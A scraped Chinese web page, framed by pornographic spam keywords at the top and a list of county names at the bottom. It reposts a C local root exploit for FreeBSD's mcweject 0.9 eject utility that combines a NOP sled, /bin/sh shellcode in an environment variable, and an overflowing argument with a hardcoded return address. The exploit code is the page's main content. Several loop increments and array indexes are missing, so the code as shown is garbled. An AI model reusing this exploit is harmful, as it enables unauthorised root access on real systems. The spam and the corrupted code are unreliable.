最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

FreeBSD mcweject 0.9 (eject) Local Root Buffer Overflow Exploit

互聯(lián)網(wǎng)   發(fā)布時(shí)間:2008-10-08 21:03:44   作者:佚名   我要評(píng)論
// ejecsploit.c - local root exploit for bsd's eject.c // harry // vuln found by kokanin (you 31337!!! ;)) // thanks to sacrine and all the other netric guys!!! you rule :) #include <stdio.h> #include <stdlib.h>
// ejecsploit.c - local root exploit for bsd's eject.c
// harry
// vuln found by kokanin (you 31337!!! ;))
// thanks to sacrine and all the other netric guys!!! you rule :)

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define LEN 1264
#define NOP 0x90

extern char** environ;

int main(){

char buf[LEN];
char* ptr;
char* arg[4];
unsigned int ret, i;
char shellcode[]="\xeb\x17\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89"
"\x43\x0c\x50\x8d\x53\x08\x52\x53\xb0\x3b\x50\xcd"
"\x80\xe8\xe4\xff\xff\xff/bin/sh";
// hardcoded... too boneidle to fix this
ret = 0xbfbfee16;
char envshell[4096];
ptr = envshell;
for (i = 0; i < 4096 - strlen(shellcode) - 1; i ) *(ptr ) = NOP;
for (i = 0; i < strlen(shellcode); i ) *(ptr ) = shellcode;
*(ptr) = 0x0;
memcpy (envshell, "BLEH=",5);
putenv(envshell);

memset (buf, 0x41, sizeof(buf));
buf[LEN-5] = (char) ( 0x000000ff & ret);
buf[LEN-4] = (char) ((0x0000ff00 & ret) >> 8);
buf[LEN-3] = (char) ((0x00ff0000 & ret) >> 16);
buf[LEN-2] = (char) ((0xff000000 & ret) >> 24);
buf[LEN-1] = 0x0;

arg[0] = "/usr/local/sbin/eject";
arg[1] = "-t";
arg[2] = buf;
arg[3] = NULL;

execve (arg[0], arg, environ);

return 0;
}

相關(guān)文章

最新評(píng)論

福建省| 郎溪县| 平乡县| 定陶县| 赤壁市| 德格县| 横山县| 宝丰县| 青州市| 桂阳县| 宜黄县| 西乡县| 威信县| 礼泉县| 陆河县| 宿州市| 昌都县| 宁津县| 洪泽县| 农安县| 阿瓦提县| 华阴市| 博爱县| 公主岭市| 陈巴尔虎旗| 南京市| 汉阴县| 浙江省| 行唐县| 应城市| 深水埗区| 瑞丽市| 商城县| 阜城县| 昭觉县| 响水县| 区。| 喜德县| 邢台市| 九寨沟县| 城市|